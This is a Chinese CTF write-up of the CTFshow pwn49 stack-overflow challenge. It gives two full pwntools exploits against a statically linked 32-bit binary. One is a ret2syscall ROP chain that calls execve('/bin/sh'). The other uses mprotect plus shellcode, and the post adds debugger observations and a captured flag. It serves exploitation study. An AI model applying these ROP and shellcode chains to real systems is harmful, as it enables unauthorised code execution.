CTFshow-PWN-栈溢出(pwn49)两种方法+动调分析

32 位程序小端序

看似开了 canary 保护,实际没有

是 checksec 版本太老了

检测到 __stack_chk_fail 函数就算开了

主函数未见 canary 的压入与取出

代码看似和上一题一模一样的

存在栈溢出 

但是细心的小朋友应该注意到了,左边多出了很多函数

说明这个程序是静态链接的

静态链接就意味着没法去打 ret2libc了

还是无 system 无 /bin/sh

考虑打 ret2syscall

偏移 22

找一些我们需要使用的 gadgets 地址

因为我们要系统调用 execve

肯定要用到 eax、ebx、ecx、edx 以及 init 0x80

0x0806e011 : pop edx ; pop ecx ; pop ebx ; ret
0x080a8dd6 : pop eax ; ret
0x08049663 : int 0x80

找一个可以写入 shellcode 的地址

接下来就可以直接写 exp 了:

# @author:My6n
# @time:20250609
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28262)

offset = 22
pop_eax = 0x080a8dd6
pop_edx_ecx_ebx = 0x0806e011
int_0x80 = 0x08049663
w_addr = 0x80dc000
read_addr = 0x806BEE0

payload = cyclic(offset)+p32(read_addr)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(w_addr)+p32(0x20)
payload += p32(pop_eax)+p32(0xb)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(w_addr)
payload += p32(int_0x80)

io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

本地通了

打远程

拿到 flag:ctfshow{97fdb206-efa9-43e3-9b0f-1e428db9552f}

再来看看题目提示:

找找 mprotect 函数

这个函数是用来修改内存权限的

那么我们可以溢出后返回到这个函数,去修改一些地址的权限

为什么是 0x80DA000 而不是 bss 段的开头 0x80DB320

因为指定的内存区间必须包含整个内存页(4K)

起始地址 start 必须是一个内存页的起始地址

并且区间长度 len 必须是页大小的整数倍

再结合 read 函数将 shellcode 读进去,然后执行即可

exp:

# @author:My6n
# @time:20250609
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28283)

offset = 22
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
pop_eax_edx_ebx = 0x08056194
w_addr = 0x80DA000

payload = cyclic(offset) + p32(mprotect_addr)
payload += p32(pop_eax_edx_ebx) + p32(w_addr) + p32(0x200) + p32(0x7)
payload += p32(read_addr)
payload += p32(pop_eax_edx_ebx) + p32(0) + p32(w_addr) + p32(0x200)
payload += p32(w_addr)

io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

也可以打通 

我们动调看一下

执行 mprotect 前内存的权限情况

执行后,可以看到 0x80da000 往后部分为可读可写可执行权限

我们的 shellcode 就写到这个位置

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值